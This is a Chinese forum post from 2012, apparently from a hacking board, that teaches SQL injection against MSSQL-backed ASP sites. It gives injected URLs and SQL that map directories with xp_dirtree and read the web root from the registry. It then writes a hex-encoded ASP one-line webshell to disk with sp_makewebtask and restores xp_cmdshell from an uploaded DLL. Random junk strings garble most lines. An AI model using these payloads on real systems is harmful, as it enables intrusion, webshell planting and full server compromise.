找回密码
 立即注册
查看: 3171|回复: 0
打印 上一主题 下一主题

MSsqlL注入取得网站路径最好的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:20:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好,我们exec master..xp_dirtree'd:/test'' n! e( [: V0 X) n" v
假设我们在test里有两个文件夹test1和test2在test1里又有test33 I$ ^4 z3 s! H+ m0 c
结果显示8 a8 t: |1 e. S7 Q( d8 @

; ^- k# `( M( n' M8 K8 y# r* E' psubdirectory depth
8 N$ j/ t) e( I$ V9 {0 _2 otest1 1
  m4 L# N  G) `6 G; [2 i& k' X/ o6 Ztest3 2
9 j& D9 G2 W3 U' j' xtest2 11 \. g! ?( I  U, j% B; m. A, b3 b
( U# H2 x* u& G! n* P* h
哈哈发现没有那个depth就是目录的级数
! u! E  p0 z6 M1 W, ~3 J6 N" z- Wok了,知道怎么办了吧  P" D$ ~0 x3 x: p  L& \! t) ?

& C+ Z8 r" G# O0 fhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- 3 C4 \/ C# q0 ?! w
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
# N* r4 O9 u% _& b( ]http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
  v4 `7 m7 F" C# T
3 g( [" ?% I' H0 i& M/ Y1 a" q只要加上id=1,就是第一级目录 。  W. w9 u, O: r* B4 G
: |) r# G6 k9 h

3 }7 v. ]8 l. O% a; L5 N( u% L  ?通过注册表读网站路径:
! u; o. q, i7 u
2 z2 n" S4 x! _3 M" o& F% W( i1.;create table [dbo].[cyfd] ([gyfd][char](255));
; f% ~! y- \: v7 Q9 ~( s$ H$ x$ V1 H/ E# U
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
/ n) J% Y* s* _: |id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
, x! l' f1 `, C/ E3 M/ V. j" C3 a( e" J. I2 \
3.and 1=(select count(*) from 临时表 where 临时字段名>1)4 ?4 Y' P% G$ ~( h: c7 }9 f
and 1=(select count(*) from cyfd where gyfd > 1) 8 {3 G4 M$ E* W2 b2 i1 I
这样IE报错,就把刚才插进去的Web路径的值报出来了3 ?; y2 y6 K8 W, T, R# B+ X

8 ?, ]  c& d7 `: ]4.drop table cyfd;-- 删除临时表
0 I) d# y/ v$ E
1 M$ s* ~3 C* h& K获得webshell方法:9 J9 c+ P, J7 ?
1.create table cmd (a image)-- \**cmd是创建的临时表3 c$ O$ c# @& A" h. ?9 n! B* D8 T

: v$ |1 M: Y3 V1 E  x$ {+ h2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
# L8 T8 v4 D5 \* y( k, [) C: [; P) `! d! C5 L4 s2 F2 s  S7 |5 w

/ o" t6 b, [# Y) J* V+ D3 d3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
. y- |# ]( W1 C3 {& G: z# t5 AEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'0 ~$ D3 Q. j7 S, `
3 f- C- m) H/ A. Y
4.drop table cmd;-- 删除cmd临时表5 a. F7 Z# J  [

9 T% [5 G* j: v& j0 g恢复xp_cmdshell方法之一:, a$ u2 R/ V- w! L" |! r& X( k  z2 k
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
- Q' |  N7 \0 Ghttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
' U8 [" V3 I& D. z8 |. h恢复,支持绝对路径的恢复哦。:)
5 g5 P8 P2 z8 h; b3 `+ R  r3 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表